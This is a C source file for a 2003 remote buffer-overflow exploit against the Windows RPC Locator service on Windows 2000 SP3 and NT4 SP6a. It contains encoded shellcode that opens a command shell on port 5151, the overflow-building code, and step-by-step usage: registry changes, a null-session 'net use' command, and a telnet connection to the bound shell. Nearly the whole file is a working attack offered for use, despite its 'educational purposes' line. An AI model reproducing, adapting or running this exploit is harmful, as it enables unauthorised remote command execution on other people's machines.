/****************************************************************************
rpcexp.c
RPC LOCATOR Exploit
Autor: Marcin Wolak
mail: mwolak11@wp.pl
Last update: 30 march 2003
****************************************************************************/

/*****************************************************************************
About Compilation:
What You need to compile rpcexp.c ?
1. MS Platform SDK (August SDK is sufficient).
2. Compilator (f.e. MS Visual C++ 6.0).
rpcns4.lib is needed for linking.
*****************************************************************************/

/*****************************************************************************
Usage (You want to exploit remote Windows 2000 system (w2khost) with running RPC
Locator Service):
1. Set registry values in Your workstation as below:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftRpcNameServiceNetworkAddress = w2khost
HKEY_LOCAL_MACHINESOFTWAREMicrosoftRpcNameServiceServerNetworkAddress = w2khost
2. Establish null session:
net use \w2khostipc$ ""/u: ""
3. Run Exploit:
rpcexp.exe /os w2ksp3

If everything it's ok, rpcexp hangs in console window. You can go to second
cmd console, run telnet (on port 5151) and get cmd on w2khost - just run
on second console:

telnet w2khost 5151

WARNNING !
With this shellcode You can get remote cmd only once. Second attempt will
be rejected.

WARNNING !!
Currently only Windows 2000 Sp3 and Windows NT 4 Sp6a are exploitable with
rpcexp.

*****************************************************************************/

#define UNICODE
#define RPC_UNICODE_SUPPORTED

#define NT4SP6ABRD 0x42
#define W2KSP3BRD 0x142

#define NT4SP6AJMP 0x0147FBC4
#define W2KSP3JMP 0x0090F8F0

#define NT4SP6ALLA 0x77F137BD
#define NT4SP6AGPA 0x77F13FB3

#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>


#define PURPOSE 
"RPC Locator exploit utility n
Autor: Marcin Wolak - march 2003 n
mail: mwolak@gazeta.pl nn
Tested on:nn
Windows 2000 SP3 n
Windows NT 4.0 SP6a nn
Only for educational purposes !!!.nn
Usage:n
rpcexp.exe /v  - to view rpcexp info.n
rpcexp.exe /os w2ksp3 - to exploit Windows 2000 Sp3.n
rpcexp.exe /os ntsp6a - to exploit Windows NT 4 Sp6a.n"


char shellcode [] =
"xEBx13x5FxB9xCFx02xCFx02xC1xE9x10x57x80x37x99x47xE2xFAx5FxEB"
"x05xE8xE8xFFxFFxFFx14x2Ex42x98x99x99x14x06x59x9Bx99x99xCFx66"
"x8AxCEx14x06x5Dx9Bx99x99x14x26x54x9Bx99x99x10x5Bx65xA8x50x28"
"x94xD0xA9x59x35x1Dx59xECx60xCAxCBxC8xCFxCBx66x8Ax32xC0xC3xC2"
"x7Bx75xC2xCAx14x02x59x9Bx99x99xA9x59x35x1Dx59xECx60xCFx66x8A"
"x10x5BxC2xCAx14x02x5Dx9Bx99x99x65xA8x50x28x9ExA9x59x35x1Dx59"
"xECx60xCAxCBxC8xCFxCBx66x8Ax32xC0xC3xC2x7Bx75xA8x59x2Dx9DxC9"
"x58x71x9DxC9x66xCEx55x10x5BxC2xCAx14x02x25x99x99x99xA8x50x18"
"x58xC4x9Bx99x99xC9x13x8Ax11x89xDAxD9x7Bx61xC1x14x02x15x99x99"
"x99xCAxF1x99x99x99x99xC9xC9xF1x99x99x99x99xF1x99x99x99x99x66"
"xCEx21xC9xF1x99x89x99x99x66xCEx41xC1x72x6Dx70x9Ex9Bx99x99xC6"
"xCEx18x5ExD5x99x99x99x10x67x18x5Fx16x66x66x66xC2x18x5Ax39x99"
"x99x99xCAxF1x9Bx9Bx99x99x66xCEx7DxA8x59xC9xD9xC9xD9xC9x66xCE"
"x71x0AxF1x89x99x99x99xCFxCAx66xCEx75xF1x9Bx99x99x99xCAx66xCE"
"x69xA8x59xCExC9x29x95x32xC1x32xD9x32xC6xD1xC9xCExCFx34xCFx66"
"xCEx25xD1xC9xCEx34xCFx34xCFx66xCEx25xD1x29xDDx10x9ExCEx66xCE"
"x59xA8x59x12xDFx6Dx10xDExA5x10xDExD9x12x9Fx10xDExA1xA8x59xFF"
"x21x98x98x10xDExB5xCExCExA8x59xC9xC9xC9xD9xC9xD1xC9xC9x34xCF"
"xA8x59xC9x66xCEx5Dx66xEFx69x66xCEx79x66xEFx65x66xCEx79xD1xC9"
"xC9xCAx66xCEx6Dx10x5AxA8x59x2Dx9DxC9x58x71x9DxC9x66xCEx55x10"
"x5FxA8x59x10x58x2Cx9DxC9xC9xCExC8xCFx66xEEx0Ax66xCEx51x18xA6"
"x98x99x99x99xE5xBCxA8x59xC9xCEx66xAExCFx66xEEx0Ax66xCEx4Dx90"
"x59xEDx8DxA8x59xC9x66xAExCFxCAx66xCEx61xF1xC9x99x99x99x66xCE"
"x41x72x5BxA8x59xC9x2Dx9DxC9xCFxCAx66xCEx65xCExA8x50xC8xC9xCF"
"x66xEEx0Ex66xCEx49xF1xC9x99x99x99x66xCEx41x72x38xC9x66xCEx45"
"x09xD2xDCxCBxD7xDCxD5xAAxABx99xDCxE1xF0xEDxCDxF1xEBxFCxF8xFD"
"x99xDAxEBxFCxF8xEDxFCxCDxF1xEBxFCxF8xFDx99xDAxEBxFCxF8xEDxFC"
"xC9xF0xE9xFCx99xDExFCxEDxCAxEDxF8xEBxEDxECxE9xD0xF7xFFxF6xD8"
"x99xDAxEBxFCxF8xEDxFCxC9xEBxF6xFAxFCxEAxEAxD8x99xC9xFCxFCxF2"
"xD7xF8xF4xFCxFDxC9xF0xE9xFCx99xDExF5xF6xFBxF8xF5xD8xF5xF5xF6"
"xFAx99xCExEBxF0xEDxFCxDFxF0xF5xFCx99xCBxFCxF8xFDxDFxF0xF5xFC"
"x99xCAxF5xFCxFCxE9x99xDCxE1xF0xEDxC9xEBxF6xFAxFCxEAxEAx99xDA"
"xF5xF6xEAxFCxD1xF8xF7xFDxF5xFCx99xCExCAxD6xDAxD2xAAxABx99xCE"
"xCAxD8xCAxEDxF8xEBxEDxECxE9x99xEAxF6xFAxF2xFCxEDx99xFBxF0xF7"
"xFDx99xF5xF0xEAxEDxFCxF7x99xF8xFAxFAxFCxE9xEDx99xEAxFCxF7xFD"
"x99xEBxFCxFAxEFx99x9Bx99x8Dx86x99x99x99x99x99x99x99x99x99x99"
"x99x99xFAxF4xFDxB7xFCxE1xFCx99xFDx06x71xEEx81x02x71xEEx71x6D"
"x64x66x66x99x99x99x99x99x99x99x99x99x99x99x99x99x99x99x99x99";

void Usage(char * pszProgramName)
{
    fprintf(stderr, "%s", PURPOSE);
    exit(1);
}

void _CRTAPI1 main(int argc, char **argv)
{
	unsigned short mytab[2000];				// Exploit Buffer
    unsigned char * TmpEntryName  = NULL;		// Temporary Entry.
	unsigned long * EntryName  = NULL;
	unsigned long * TmpPtr  = NULL;
    unsigned short * pszStrBinding = NULL;
    RPC_NS_HANDLE hnsHandle;
    unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
    RPC_STATUS status;
    short fSuccess = 0;
    short fContinue = 1;
    unsigned long i,k;

	unsigned long * PtrLLA = (unsigned long*) &shellcode[730];
	unsigned long * PtrGPA = (unsigned long*) &shellcode[734];
	unsigned long JMP = W2KSP3JMP;
	unsigned long BORDER = W2KSP3BRD;

	switch(argc){
		case 2:
			if((strlen(argv[1]) == 2) && (!strcmp(argv[1],"/v")))
				Usage(argv[0]);
			else
				printf("Bad arguments !!!n");
			exit(2);
		case 3:
			if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&
			   (!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"w2ksp3")))
			   break;
			if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) &&
			   (!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"ntsp6a")))
			{
				(*PtrLLA) = NT4SP6ALLA ^ 0x99999999;
				(*PtrGPA) = NT4SP6AGPA ^ 0x99999999;
				JMP = NT4SP6AJMP;
				BORDER = NT4SP6ABRD;
			    break;
			}
		default:
			Usage(argv[0]);

	}

	EntryName = (unsigned long *) mytab;
	TmpEntryName = (unsigned char *) mytab;
	TmpEntryName[0] = '/';
	TmpEntryName[1] = 0;
	TmpEntryName[2] = '.';
	TmpEntryName[3] = 0;
	TmpEntryName[4] = ':';
	TmpEntryName[5] = 0;
	TmpEntryName[6] = '/';
	TmpEntryName[7] = 0;
	for (i=2;i<768;i++)
	{
		if(i <= BORDER)
			EntryName[i] = JMP;
		if(i == BORDER)
		{
			TmpPtr = (unsigned long*) shellcode;
			for(k = 0;k < 190;k++)
				EntryName[i+k] = TmpPtr[k];
			i += 189;
		}
		if(i > BORDER)
			EntryName[i] = JMP;
	}
	EntryName[768] = 0;

	  RpcTryExcept {
		  status = RpcNsBindingLookupBegin(NsSntxType,
                                         (unsigned short *) EntryName,
                                         0,
                                         NULL,
							0,
							&hnsHandle);
		  printf("RpcNsBindingLookupBegin returned 0x%xn", status);
	  }
	  RpcExcept(1){
		  printf("RPC Runtime raised exception 0x%xn", RpcExceptionCode());
	  }
	  RpcEndExcept
} /*End of Main*/

// www.Syue.com [2003-04-03]